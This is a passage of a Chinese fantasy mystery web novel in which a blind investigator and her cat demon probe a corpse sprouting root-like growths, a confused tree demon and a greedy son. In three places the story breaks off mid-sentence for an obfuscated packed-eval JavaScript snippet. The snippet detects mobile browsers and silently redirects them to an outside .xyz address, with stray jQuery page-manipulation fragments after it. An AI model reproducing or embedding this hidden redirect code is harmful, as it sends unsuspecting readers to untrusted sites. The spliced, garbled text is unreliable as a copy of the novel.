“出什么事了?”君无岐排在入城地队伍中仰起头,蒙眼的布巾在脑后打了个旋,召南钻出来,随她一起往高高的城墙上望去。
“似乎是有人死了。”它不太确定地说,“还不是个小人物。”
一片叶子从空中落下,慢悠悠地飘进君无岐怀中。她捞出来拈在指间,轻轻嗅了一下。
“这是……这是庙中那个妖物的气味!”召南也伸长了身体凑过来闻闻,惊愕道,“难不成杀人的也是它?”
“说不准。”君无岐将叶片放入袖中,“走,我们也去凑个热闹。”
。
城门上,匆匆赶来的县尉跑出了一头汗。
那位郡王还在县里没走,前头的案子没结束,后面众目睽睽下又发生一起凶案,死的还是个副尉,若是不能妥善解决,只怕他这个官位也就坐到头了。
“在哪,死者在哪?”他一迭声地发问,前面挡路的士卒们听闻声音纷纷为他让出路来,只是个个面色苍白,神情恐惧,仿佛见到了什么了不得的事情。
他心里打了个突,莫不是那副尉死得很是诡异可怖?
这样想着,他步伐跟着就慢了下来,赶忙叫过仵作,“你,你去看看,快!”
仵作背着个大箱子,一脸丧气,缩着脖子,唯唯诺诺地过去了。
人群鸟一样呼啦散开。
死去的副尉还躺在地上,没人敢碰。
原因很简单。他面孔惨白,衣铠凌乱,有无数细细密密的白色须状物从眼窝、鼻孔、耳道、口腔里爬出,几乎遍布皮肤,乍一看好像无数纠结的长虫,其状诡异恶心至极。直到现在那些东西还在蠕动,像是挣扎着要往外爬,难怪众人脸色都不怎么好看,这种场景,晚上回去怕是会做噩梦。
哗啦一声,仵作的箱子摔在地上,而他本人则坐倒在地,瑟瑟发抖。
“妖怪,是妖怪!”他声嘶力竭地吼,“妖怪杀了他啊啊啊啊啊啊啊——呃!”
有人在背后给他来了一下。
“鬼吼鬼叫什么。”打他的是沛新县那个镇正卫,他全副武装,神情不悦,“众多官吏在此,何其失态,滚下去!”
仵作抱着脑袋,箱子都没敢捡,连滚带爬地跑了。
“让潘将军见笑,见笑。”县尉擦着汗,小心地对身旁人说。
这人一身劲装,腰悬银牌,手握倒刃刀,毫无疑问又是一位镇正卫,只是袍服上的补子纹样乃是一头豹子,证明她的品级至少也是在从四品,比知县还高,还是从京城来的,可不是要小心伺候。
“人之常情。”潘白英淡淡道。
若是君无岐听到,她必定能认出此人是谁——正是照虹山上,那个被她一竹杖敲晕过去的哑嗓镇正卫!
几日过去,她的嗓子仍旧喑哑难听,可见就是喉咙坏了,并非偶然。
“你们这县城不大,倒是热闹。”她的语气听不出是述是嘲,“堂堂一副尉竟然死在城门上,可真够丢人的。”
好,从后半句可以判断就是嘲讽无疑了。
县尉汗如雨下,脸膛涨红,说不出一个字。潘白英也不在意他的死活,目光四下一扫,冷嗤一声,叫来本地的司中下属。
“此事涉及妖邪,是我等职责范畴之内,你且好好协助县尉,找出真凶。”她有意无意地咬重‘协助’二字,“待到水落石出之时,再来报我。”
沛新县镇正卫啪一下站直,正正行了个大礼,“于千帆必不辱司命!”
她点点头,飘然离去。
县尉属实不知道这位京城来的上官为什么这么夹枪带棒,似乎很看不惯他这沛新县似的,一股子邪火憋在胸中,简直没地泼洒。待到潘白英走远了,终于如数喷到于千帆身上。
“还傻愣着干什么,查啊!”他怒吼,“那天知县找的谁,那个女瞎子,去找她!找不到凶手谁都别想活!”
于千帆无缘无故挨了一通,脸色也不好看,他垂着眼,目光漫无目的地在人群里逡巡,眼尖地看到一个熟悉身影。
是那盲女!
这一级传一级的怒火可算是有了发泄的地方,于千帆大步过去,刚想一把揪住她的衣袖,那盲女却巧合似的一避身,恰恰躲开了他。
他没多想,厉声喝问,“你跑哪去了?三日之期还有两天,现如今又死了个人,你还想置身事外不成?”
君无岐莫名其妙挨了顿火,动作一滞,抬起脸来,“你吃火药了?”
于千帆噎了一下,又觉得自己没理,阴沉着脸道,“你跟我来。”
君无岐站在原地不动。
“你们挺有意思。”她似笑非笑,“若我没记错,嫌疑犯应当不是我吧?我是你们知县请来帮忙的,又不是给你打工,你就这个态度?”
于千帆僵住了。
他忽然意识到,眼前这个人虽然眼瞎,但并不是随意可以拿捏的平头百姓,她不怕官,孤身一人,没有亲眷,自身有本事,也不怕武力。
她几乎无懈可击。
但案子必须破,破不了他也别想干!
“是我的过错,人命关天,过于心急,冒犯了姑娘。”于千帆脸变得比六月天还快,刷一下就和风煦日春风扑面,“这样吧,您用饭了吗?要不要我带您去吃碗馄饨?街上有个老妪做馄饨是一绝,谁吃了都说好!”
态度前后变化之大,身体力行地践行了前倨后恭这个词,真是令人叹为观止。
君无岐抖抖袖子,把身上被瘆出来的鸡皮疙瘩一并抖掉,泰然道,“带路吧。”
一盏茶的时间后,两个人加一只猫坐在街边一家摊子上。
于千帆一言难
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737977|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尽地看着召南,“这只猫……”
猫面前摆了个碟,里面摆着沥干水的馄饨,里面满满都是肉馅。猫吃得比有些人都斯文优雅,喉咙里咕噜噜的,大约是吃开心了。
“你别管。”君无岐语气轻柔,态度一般,从碗里舀出一颗馄饨,居然和旁边的猫微妙同步了,“城门上是什么情况?”
于千帆竹筒倒豆子似的把知道的都说了。
“口鼻七窍中生出须状物?”君无岐若有所思,“可是植物的根须?”
“县中仵作看了一眼就吓跑了,现如今这事砸在我手中。”于千帆苦笑,“君姑娘,先前是我多有得罪,您大人有大量,就帮帮我吧。”
君无岐没吭声,倒是旁边的猫斜了他一眼,那意思清楚明白——现在知道了,刚才怎么不这样?
要说于千帆也确实能屈能伸,见讨好不到人,便转去讨好猫。他从袖中掏出一把小鱼干,摆在召南面前,“这是县里大厨做的,难买的很。小猫仙,你帮我劝劝你主人,这些都归你,如何?”
召南闻闻那鱼干,顿时眼睛一亮,转头朝着君无岐喵了一声,又软又嗲,简直能拉丝。
君无岐扶额。
“行,看在你请客的馄饨确实好味份上。”她勉强道,“饭吃完了,走吧,去看看尸体。”
尸体此时已运到义庄,一帮五大三粗的兵甲居然都不敢直接碰,最后还是个胆大的往副尉身上盖了块布,这才勉勉强强运了过去。验尸的是个老头,干巴枯瘦,像把没多少日头可活的树枝子。他拿小刀切了一段副尉口鼻中的异物,放在眼前仔细端详。
“不妙,不妙。”他喃喃自语,“这可是大大的不妙……”
“不妙什么?你看出什么来了?”于千帆跨过门槛,不忘把那位看不见的祖宗一并搀进来,“有啥说啥,都给我们讲讲!”
老头抬起干巴巴的脸,嘴边白须浮动,“原来是于校尉到了……不知道你可否听说前些年城外小庄村发生的一桩怪事?”
“怪事?”于千帆皱起眉,“沛新县里的怪事多了,你说的是哪件?”
老头偏过眼瞅他。
“真是年轻,都不记得了……”他叹气,“可能是十年,还是十几年前,小庄村村头长了棵树,形状怪异,人人都说不详。”
他语调冷幽幽的,“于是就有人要去砍,可谁曾想,那树砍倒之后,流出来的竟然都是血……没过几天砍树的人就死了,他家里人葬他的时候,也在他口鼻中发现了这个。”
他捏着那截根须,木然道,“是那棵树,那棵树又回来报仇了!”
院里起了风,呼啦一下,把老头的胡子吹开了,露出底下干瘪瘪的嘴唇。
“这事……我还真未曾听说。”于千帆有些迟疑,转头看身边的人,“君姑娘,你怎么看?”
君无岐的嘴唇抿着,看不出到底是什么神情。她问,“那你怎么知道这俩是一种东西?”
老头看她。
“因为当时的仵作也是我。”他回答,“我当仵作当了三十多年,只见过两具这样的尸体,绝不会错认的!”
“这太奇怪了。”于千帆满面不解,“十多年前的事,怎么忽然又翻出来了?”
“老师傅。”忽然君无岐想起什么,低声问道,“当年那棵砍倒的树上,是否缠绕着藤?”
15. 藤树(七)
老头一愣。
“你、你怎么知道?”他瞪大浑浊的眼睛,“那树上确实缠着一棵巨藤!若非是这藤压身,那树也不至于长得那么奇怪呀!”
藤,又是藤!
“那那棵树。”她追问,“可是梅树?”
“是,是梅树!”老头大骇,“果真是奇人,连这都能算到……”
君无岐没再理老头的嘟囔,转向于千帆,“于将军,你能否带我去一个地方?”
于千帆还满头雾水,不知道怎么事情就发展成了这样,闻言下意识答,“啊,好啊。”
回答完了才反应过来,“去哪啊?你猜出什么来了?”
君无岐转头就向外走,竹杖哒哒哒地点着地面,“去梅烟斋。”
梅烟斋还是老样子,门是坏的,只能勉强锁起来不让人出入,门帘子掉了半拉,飘飘荡荡,被风吹得鼓起来。君无岐站在门口,没进去,召南钻出来,悄悄在她耳边说,“你发现什么了?”
“你闻闻。”君无岐小声说,“有没有臭味?”
召南仰起头,扒着她的肩膀使劲嗅了嗅,粉色的鼻头耸动,带着胡子一并颤抖,“没有啊,哪有臭味?”
君无岐若有所思,转向于千帆,理直气壮道,“开门。”
“啊?”
于千帆活像是脑子被人摘了还没拿回来,整个人透出一股跟不上节奏的傻气,反应了几息才明白过来,赶紧开门,“哦哦,来了来了。”
咔哒一声,铜锁落地。
君无岐带着猫进门。
当初她们走得急,什么都没整理,纸笔还乱七八糟地摆在架子上。君无岐仔仔细细地一一摸过,猫跟在她身边,充当她的眼睛。
“你找什么呢?”于千帆跟在她后面,感觉自己好像那个无头苍蝇,纳闷地瞅着她,“这里啥也没有啊?”
“嘘。”君无岐竖起一根手指,另一只手在架子下面摸索,片刻后,她拿出来什么,轻笑,“找到了。”
她两指间捏着一片小小的绿色。
“这是啥?”于千帆眯着眼,“蛇鳞?”
“是,也不是。”君无岐把那玩意收进袖子里,慢悠悠地爬起来,“我问你,梅念玉在你们镇正司登记的身份是什么?”
“蛇妖啊。”于千帆丈二和尚摸不着头脑,“你不是早就知道了吗?”
“你见过她化原型?”
“那倒没有,但是我们负责登记的同僚见过,还有画像呢。”于千帆说,“她是蛇妖咋了?”
“那就有意思了。”
君无岐摸着下巴,说,“既然她是蛇妖,可前几日我在她店里却没闻到任何蛇腥味,即使是她化了原型也是如此。”
“当然,也可以说她爱干净,品种特殊,”用不着于千帆回答,她自问自答道,“可一条蛇,留下的痕迹居然是梅香,你不觉得太奇怪了吗?”
于千帆唯余茫然。
“不要跟笨蛋解释了,听又听不懂。”召南趾高气昂道,看样子还是对之前于千帆看人下菜碟的行为耿耿于怀,“直接说要做什么就好了。”
“什么这居然是只猫妖!不对为什么要骂我笨蛋……”于千帆混乱了,“还有没有人能管管!”
君无岐充耳不闻,接着往下说,“前日借宿她家里时也是如此,如果说是害怕身份暴露才不在店中留下痕迹,那家中为何也没有任何迹象呢?真的可以如此滴水不漏么?”
于千帆,“你有没有在听我说话……”
“走,我们去后院。”她当机立断,迈步向后边走去。
“喂,等等,君……!”
夺!
刹那间突然有疾风激射耳边,什么东西擦着他刷一下钉到木架上。于千帆怔怔抬手一摸,满手血,这才后知后觉地发现耳廓上被擦出来一道裂口。
“什么人!”
他镲然拔刀,人还没搞清楚方向,就见一道绿影哐啷闯入室内,二话不说奔他而来。
来人使一条长鞭,不知是什么材质,冰冷、潮湿,隐隐带着朽坏的腥臭味,蛇一样缠上于千帆的脖子。他呼吸骤然受阻,脸刹那间就红了,抬刀想要劈砍,却只挑到对方的衣袖。
“该死的东西!”此人声音尖利高亢,听不出是男是女,倒是力道非比同人,简直可以勒断骨头,“去死!”
于千帆瞪大充血的眼睛,目光朦胧中隐约见到来人似是受到什么攻击,颈上猛然一松。他呼啦扑地,不住咳嗽起来。
是君无岐出了手。
她看不见,手上那根竹杖却像长了眼睛,精准避过长鞭的每一次缠绕,遍扫对方周身大穴,两人不过来往几招,来者就露了疲态。
“卑鄙,无耻!”这几声终于听出来是个男人,他像是愤怒至极,嗓音都喊得有些沙哑,“人呢?人被你们弄到哪里去了!”
于千帆艰难地爬起来,想说些什么,眼前却被一道金色晃了一下。他眯起眼睛,居然是块奇怪的石头。
这人到底哪来的?
“你是什么人?”君无岐一杖将他抽开,直接将整个人都拍在墙上,下手堪称狠辣无情,“和梅念玉什么关系?”
“你管得着吗?”他怒视君无岐,“念玉好心管你吃住,你却逮了她,你还有良心吗!”
“等等等等!”于千帆终于咂摸出点不对劲来,慌忙喊停,“梅念玉、梅念玉不是回老家了吗?何来被逮住一说啊?”
来人身形微滞,瞪大眼睛。
半盏茶后。
“我叫梅青霜,是棵树。”绿衣男子丧眉耷眼地蹲在墙边,活像刚被官府拿了,“我昨天就来找念玉,她不在,这里又一片狼藉没人收拾,我就觉得不对劲,今天来了看到你们俩,我还以为……”
“那也不能一言不合就动手啊!”于千帆没声好气道,揉着自己脖子,“你差点就把我勒死了知道吗?要不是君姑娘在,你今天就得成杀人犯!”
“对不起,我没怎么和人交过手,没经验……”梅青霜努力把自己缩成一小团,愧疚道,“你要不要紧啊,要不我用妖力给你治一下?”
“免了。”于千帆摆摆手,虚着眼打量他,“我看你怎么有点眼熟……啊,你是不是前几日带走李安福那个人?好哇,得来全不费工夫,杀人凶手,还敢送上门来!”
说罢就要去绑他。
“他不是杀李安福的凶手,若他想杀李安福,大可不必那么复杂。”一直没吭声的君无岐忽然开口,“你拿了他也没用。”
“什么?李安福是谁?什么凶手?”梅青霜懵了,左看右看,“为什么怀疑我啊?”
“他不是凶手?可那日证人目击到的人就是他,李安福确实是跟他走的!”于千帆急了,刷一下从怀里掏出卷画轴,“你看,我这还有画像,一模一样!”
君无岐用被蒙住的双眼静静对着他。
于千帆默默收回画轴,“确实是一个人,没骗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737978|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你。”
召南闪电般窜过去看了一眼,点头,“的确是他。”
“不是,李安福到底是谁啊?”梅青霜还在墙角蜷缩着不敢乱动,眼睛不住往画轴上瞟,“怎么就跟我有关系了?我真没杀人!”
“但这上面就是你!你若不认,我们这就回县衙去找那个人证!”
“可是李安福到底是谁?”
“画上倒确实是……”
“……”
现场简直堪称一片混乱,君无岐只觉得脑子里嗡嗡的。
她长长叹了一口气。
“停!”
两人一猫都看向她。
“第一件事。”她竖起一根手指,“前日下午,你是不是在梅烟斋门前带走了一个道士?”
她指的是梅青霜。
梅青霜愣愣点头,“呃,确实是有这么回事。”
他猛然反应过来,“那就是李安福?!”
“是的,李安福后来被发现死在城南,全身筋骨被绞碎。”君无岐道,“你们为何会一并离开?离开后都发生了什么事?”
“我、我只是向随便找个理由把他支开!”梅青霜支棱起上半身,大声说道,“我本来是想找念玉的,但看到那个人在店里闹事,就想把他弄走,然后找机会甩掉他,的确也是这么做的!”
“你在哪里甩掉的他?”
“呃……应该是顺安坊。”梅青霜拼命回想,“对,就是那里,有很多巷子那边!”
君无岐没说话,于千帆一掀帘子出去了,过了会又回来,问,“然后呢?”
“然后?哪还有什么然后啊?”梅青霜无力道,“我就走了啊,看到念玉家里有人,也没打扰她。”
“那你知道李安福后来去哪了吗?”于千帆很焦躁,“他没死在顺安坊,尸体离那里有十里远!”
“那你问我也没用啊。”梅青霜抱着脑袋,“我真的什么都不知道了!”
于千帆咬牙切齿,可内心却已经隐隐相信了他的话,就像君无岐说的那样,他若想杀李安福,用鞭子一勒就是了,何必再去绞缠他全身?何况他甚至不认识李安福,两人并不像有仇怨。
“啊!”于千帆沮丧咆哮一声,“线索又断了!看来这差事我是真干不下去了,要不明天我就去请辞吧,不,今天就去,我干不了了!”
梅青霜窝在墙角惊恐地看着他。
“他好像也怪不容易的呢。”召南蹲在君无岐肩头,怜悯且小声道,“要不要帮帮他?”
君无岐在心里叹了口气。
“于将军。”她开口,“事情还并未走至绝路。”
“什么?”于千帆乍然抬头,“哪里没有绝路?你有办法了?”
“我有个法子可以试试。不过现在嘛,还有一件事要做。”君无岐慢条斯理道,“你没有觉得奇怪,这位梅公子说自己是树妖,使得却是鞭子?”
于千帆刷一下转头看梅青霜。
梅青霜不明所以地睁大眼睛。
“其实梅公子一进来我便有所察觉,只是迟迟不能确定。”君无岐信步走到梅青霜面前,明明看不见,方位却极准确,“您是想自己说,还是我来替你说呢?”
“说什么?”梅青霜在她的阴影里颤抖,脸上是不加掩饰的迷茫,“我、我知道的都告诉你们了!”
君无岐在他面前俯身。
“梅公子。”她声音里仍带着笑意,“你真的是树妖么?”
16. 藤树(八)
“我当然是,这还能有假?”梅青霜不高兴道,“我怎么会连自己根脚是什么都不知道?”
被如此居高临下让他很不舒服,伸手想推开君无岐,却被她一把攥住了袖子。
“是吗?”
她嘴角勾着,语气却不带任何笑意。
梅青霜惊恐地看着自己的手,那里因为骤然受到刺激,表面覆盖了一层凹凸不平的深色粗皮,乍一看与树皮一模一样。
但……树皮之下,还有什么碧绿的、湿淋淋的东西……
“你一直以为自己是后院那棵梅树,是吗?”君无岐几乎有点咄咄逼人的意思,“可是,我怎么没感觉到那棵树生出了精呢?你到底是以为自己是树,还是因为常年盘在树上,所以才觉得自己是树?”
梅青霜如遭雷击。
“不!这不可能!”他竭力要把自己的胳膊抽出来,“我一直都是梅树……我是梅树!”
那股朽坏的味道又来了,一直若有若无的、隐隐约约的气味。君无岐出手如电,捞过他那根长鞭,啪地在空中一甩。
在场除了梅青霜以外的所有生物都不约而同地捂住了鼻子。
像是有什么腐烂的东西在空中爆开,地上甩出一道水痕,散发着难闻的气味。梅青霜骤然发出一声凄厉哀嚎,随即整个人都像被抽掉了骨头似的委顿在地,只从嗓子里冒出声声残破的喘息。
君无岐松开手。
那根鞭子掉落在地,棕褐色外皮层层崩裂,露出里面由无数细小根须扭动组成的芯。于千帆打眼一看只觉得眼熟,而那边召南已经叫了出来。
“那个校尉!”它焦躁地晃着尾巴,“和他身上的东西一模一样!”
于千帆顿时悚然。
的确,这玩意根根细长微白,密密麻麻纠缠着,与那位死去的校尉口鼻中爬出的可怖东西十分相似,区别只在于鞭子里裹的这些已经不会动了而已。他万万没想到这两件案子居然会以这种离奇吊诡的方式交叉在一起,顿时热血上头,一把薅住梅青霜的衣领子,直把他生生拔起来一截。
“到底是怎么回事?快说!”他厉声咆哮,“这玩意到底是什么?难不成校尉是你杀的?”
“我……我没杀人……”梅青霜神情恍惚,嘴里一直念叨,“我没有……真的没有……”
“那这些你怎么解释?”于千帆一指地上散开的鞭子,“我看你是皮痒了,该进大牢里好好审问一番才是!”
说罢他拖着梅青霜要往外走,后者也神情恍惚地竟就这么跟着他去了。刚要迈步却感到踩到了什么,低头一看,竟是梅青霜腰上那颗金色石头不知何时掉了下来,经他一踩毫发无损不说,滴溜溜地滚远了。
于千帆心思都在人身上,见状也没在意,转头与君无岐告别,“君姑娘,我且带着这贼人回去审问了,接下来的事,还得多多仰仗您。”
君无岐微笑点头,“于将军慢走。”
于千帆便带着人掀帘子走了。
“你怎么不把那个人留下?”召南跳上君无岐肩头,好奇道,“他应当有不少秘密。”
“我们接下来要去找的人、做的事都不太方便被于千帆看到。”君无岐悠哉蹲下,摸索着找到了那颗金色石头,“让他忙去吧,反正梅青霜也不是凶手。”
“你怎么知道的?”召南拿尾巴尖勾她的手,“告诉我嘛。”
“梅青霜修为不够,能用那种方式杀人的,必得是功力非凡的大妖才能做到,他还不够格。”君无岐把玩着那颗石头,忽然抬手一抛,“你能感觉到么?”
“呜!”召南慌忙探头衔住那颗石头,甫一入口就察觉到了不对劲,“唔?”
它把石头吐出来,一双猫眼瞪得溜圆,“这……这玩意是定心石?”
定心石,听起来好像是个和心性有关的东西,但实际它最主要的功能是压制妖物修为,常见于北门和各大伏妖师手中,一个妖自己随身携带,怎么听怎么感觉像是脑子抽了风。
“梅青霜丢了这东西,我却没感觉到修为有多大变化,倒是他人变得恍惚许多。”君无岐若有所思道,“你说,这是为什么?”
“还用说,那就是发挥这石头本身的功能了呗。”召南斜眼看她,“定心石定心石,一开始不就是拿来定心的吗?”
“你说的有道理。”君无岐难得说了句猫爱听的话,随手把那颗石头塞进袖子里,“这里没有其他要看的了。我们走吧,去会会徐婆婆的那个不肖子。”
“你知道他在哪吗你就去找他……”猫嘟囔着自觉跳进竹筐,“话说回来,不是说要查李安福的案子吗,怎么又去找什么徐婆婆儿子?那个知县之前说就三天时间,你不会不打算认真查了吧?”
“怎会。”君无岐等猫坐好,笑着出了门,“我可是很认真的在查案子。”
徐婆婆的儿子叫徐大柱,在城西一家铺子里干杂工。一人一猫花了一刻钟找到这家店,还没走近就听见卖力的吆喝声。
“瓠瓜!瓠瓜!一个顶五个大的瓠瓜!最新转接的好品种,又甜又脆!欲购从速!”
君无岐脚步兀地一停。
“瓠瓜?转接?”她喃喃低语。猫从筐里爬出来,颇为奇怪,“怎么,你想到了什么?”
“不,没什么。”她摇摇头,径直走上前去,估量着位置站在店铺门口,问道,“小哥,徐大柱可在此处?”
叫卖声一停,店里伙计迅速地上下打量她一番,脸上堆出个不甚真诚的笑,“在呢,在。”
“徐大柱!有人找你!”说罢他转头朝店里大吼一声。
铺子里唰啦啦一阵响动,随即有个又瘦又矮的男人从里面出来,丧眉耷眼,一脸苦相,看着不甚精神的样子,“谁找我?”
“是我,在下齐君。”君无岐道,“还请借一步说话。”
徐大柱扫她一眼,脸上挂起迷惑之色,“我不认识你。你找我什么事?”
“你是小庄村徐婆婆的儿子吧?”君无岐开门见山直奔主题,“你可知令慈已经去世?”
徐大柱一愣,神情肉眼可见地阴沉下来。
“与你何干?”他声调都提高了一点,“你到底是来干嘛的?我告诉你,我们自己的家事,还轮不到外人来管!”、
“哇。”召南在她耳边小声说,“他心虚了。”
君无岐何尝不知,只是她又不是奔着和人结仇来的,遂竭力忍住笑意,继续道,“你莫急,我不是问这个……”
话还没说一半就被打断了。
“那老婆子根本不愿意听我说话,就没把我当儿子!”徐大柱表情扭曲,怒吼道,“一开始我就叫她不要捡那妖树的枝子回来,她不听,后来果真生了妖孽!那妖孽着实可恨,哄着她心智都迷了!我是她的儿子,她不想着把房子给我,天天净琢磨怎么讨好那妖精了!”
这话槽点太多,以至于君无岐这样的嘴皮子都难得迟滞了一下,没能跟上他的思路。
“我早晚会把我应有的一切都夺回来。”徐大柱阴沉沉道,“谁也阻止不了!”
君无岐额角青筋跳了一下。
“等等,你刚才说她捡树枝……”她试图把话题拐回到妖树上,可对方却像完全听不到似的,自顾自念叨着房子、粮食、钱财之类的话,眼看着竟像是接近魔怔了。
“怪不得说他是不肖子……”召南两只前爪立在她肩上,毛绒脸蛋是和她如出一辙的迷茫,“那,那现在怎么办?”
君无岐用力按了下自己的眉心。
“还能怎么办。”她自言自语,“听不进人话?揍一顿就好了。”
半盏茶时间后。
徐大柱鼻青脸肿地蹲在路边,原本就苦的面相像又加了二斤黄连,君无岐站他身旁慢条斯理地拿稳竹杖,吓得他一哆嗦,不自觉又挪得离她远了点。
“现在能听我说话了吗?”她微笑着问。
徐大柱忙不迭地点头,一双小眼睛瞟到她衣角又
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737979|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慌忙收回来,“您问,您问,我知无不答!”
“你之前说徐婆婆捡了妖树的树枝回来,可是村头那棵会流血的树?到底是怎么回事,说清楚点。”
“啊,女侠您也知道这事啊。”徐大柱抱着头说,“就,当年砍了树之后树枝堆在地上,我娘就非要捡些回来当柴火烧,我说那东西看着邪她还不听,结果惹上……哎哟!”
是君无岐的竹杖长了眼睛似的抽他一下。
“我劝你说实话。”她似笑非笑,“我耐心不好,再有一次,杀了你我去问别人也无妨。”
徐大柱不知道她到底是怎么听出来的,被她唬得再不敢耍小聪明,慌忙道,“是是,其实不是她想的,是我,是我看那柴没人要,想贪点便宜,这才抱回来的……可我也不知道里头会生出妖孽来啊!”
君无岐一挑眉,“何出此言?”
“女侠您不晓得,那树会流血,砍下来的树枝里头也是红的!我看着心慌,就想赶紧都烧了,哪成想,里面有一根格外粗的,怎么点都不起火!”徐大柱像是回忆起什么,两股战战,“我就把它丢到墙外去了,谁知道没两天,那根枝子竟然就落地发芽了!我要砍,我娘偏不让,说再怎样那也是条性命。可之后我就看到有条蛇在那树上爬,竟还化成了人形!”
蛇?君无岐眉眼一动,追问,“什么蛇?可是通体碧绿,额头上有块白斑?”
“女侠你怎么知道?”徐大柱愕然,“确实如此。”
“既然你如此厌恶,这么多年了,怎么不去找伏妖师?”
“这、这不是还要花钱……”徐大柱低下头去,声音越来越小,“我看她们倒也没有害人,况且我娘还说若是我去找了伏妖师,她便不告诉她那些首饰都藏到哪里去了……”
“……”君无岐真心实意道,“你可真是初通人性。”
徐大柱缩成一团不敢吭声。
“既如此,徐婆婆去世,你怎么也不回去?”君无岐又问。
徐大柱眼神闪烁,顾左右而言其他,“这个,毕竟她们也陪了她那么长时间……”
君无岐缓缓提起竹杖。
“别打!别打!我说!”徐大柱赶忙抱紧了脑袋,“这个这个,其实我前段时间见娘身体不好,趁她迷糊着问出了首饰下落,这就……”
君无岐骤然一怔。
“李安福,是你请来的?!”她压低了声音,可仍旧压不住嗓音里的怒气,“你可知他破门而入你家里,把你娘活生生吓死了!……等等,你不可能不知道,所以你不回家,根本就不是因为别的,而是你愧疚!你愧对徐婆婆!梅念玉,梅念玉在哪也是你告诉他的!”
徐大柱一个字都不敢吭。
一把猛烈心火腾一下从胸口烧起来,君无岐闭了闭眼,险些就要抬杖把这畜生当街抽死。召南听得也愕然不已,毛发怒张,几乎就要跳下去给他一爪子。
“好,好得很。”她喃喃自语,“真是又让我见识了一番人的多样……”
徐大柱小心翼翼地从缝隙里觑她。
“那个,我能走了吗?”他讨好地问,“我知道的都说了……”
君无岐抓着竹杖的手蓦然一收。
“你走吧。”她放缓语气,“赶紧滚。”
徐大柱从地上爬起来,忙不迭地一溜烟跑了。
召南看着他的背影,转头问她,“你给他留了什么?”
君无岐勾出一个近乎狰狞的笑。
“当然是好东西。”她说,“趁着徐婆婆头七,怎么能不让他们母子相聚呢,而且以后不会再分开了。”
生死有别,活人死人长期生活在一起,活着的那个必定阳寿有损、厄运缠身,倒霉点的甚至会横死当场,对徐大柱这种人来说,简直是再合适不过的下场。
她抖掉指尖上残留的纸末,顺手捋了把猫顺滑的长毛。
“走吧。”她淡淡道,“既然这棵妖树这么妖异,我们就去会会它。”
17. 藤树(九)
等一人一猫赶到小庄村的时候,天已经黑了。
两人还没进村,就听到有幽幽哭声从远处传来,凄凄咽咽,连绵不绝,听起来颇为瘆人。
“这是怎么了?”召南毛都炸了,缩在君无岐怀中只露出个脑袋,“上次来还不是这样的!”
“似乎是谁家有人去世了,正在吊丧吧。”君无岐侧耳细听,“你仔细听。”
“我儿要走不要忙,亲娘给你化钱香,金桥土地来接引,过了金桥往西方;金桥本是善人走,奈何桥上罪人行,桥上坐的桥土地,金桥银桥送—程……”
细听是个女人哭声,应当是逝去之人的娘,只是这声音虽然凄切,却没多少痛苦之情,就好像……只是走个过场似的。
君无岐还未深想,突然哭声一停,紧接着就是低低的说话声,接着没了声音。
召南大着胆子向远处张望,今夜星月黯淡,只有浅浅一点辉光从云层后透出来,照亮远处屋檐上支棱出来的一点白。那是面招魂幡,正随着夜风飘动着。
“我们要过去看看吗?”它小声说。
君无岐在原地思忖一阵。
“去。”她做了决定,“说不定能听到些消息。”
办丧事的那家离村口不远,几步就到,此时正在门外烧纸。黄表纸都叠成元宝形状,厚厚一大摞扔进火里,压得火焰骤然一低,随即熊熊燃烧起来,灰烬伴随着火星子飞得满天都是。一个上了点年纪的妇人拿着根棍子,面无表情地拨弄着火堆。
“我儿在生有善果,路见莲花有奇香;一路行程难阻挡,崎岖坎坷都杀光;黄幡宝蒸来接引,手提明珠碎千方;千个神佛不见面,万个菩萨着忙慌……”她又低低地唱了起来,声音很细,很含糊,“儿走阎王殿门过,阎王闭门叫装香;十八地狱罪名尽,望乡台上望亲娘;我儿吃茶要仔细,恐怕错吃迷魂汤;迷魂汤儿吞下肚,迷了心宫走大荒……”
君无岐越听越感觉不对劲。
这似乎不像是亲人离世时的祝愿,反而有点……诅咒的意思。
谁会在送走亲人时唱他十八地狱罪名尽?
她正想开口,忽然身侧有个清浅的呼吸声靠过来,轻轻拦住了她。
“姑娘可是迷路了?看你不像村里人。”说话的人作妇人打扮,面容很年轻,约莫不到二十岁,行事却很稳重,“我家丈夫刚刚去世,莫冲撞了你,还请快快离开罢。”
“是在下失礼。”君无岐朝她行了一礼,“敢问娘子,听闻村里有棵奇怪的树,砍之会流血,不知……”
她话还未问完,突然旁边一直拨火唱祷的年长妇人一丢棍子,恶狠狠朝这边瞪来。
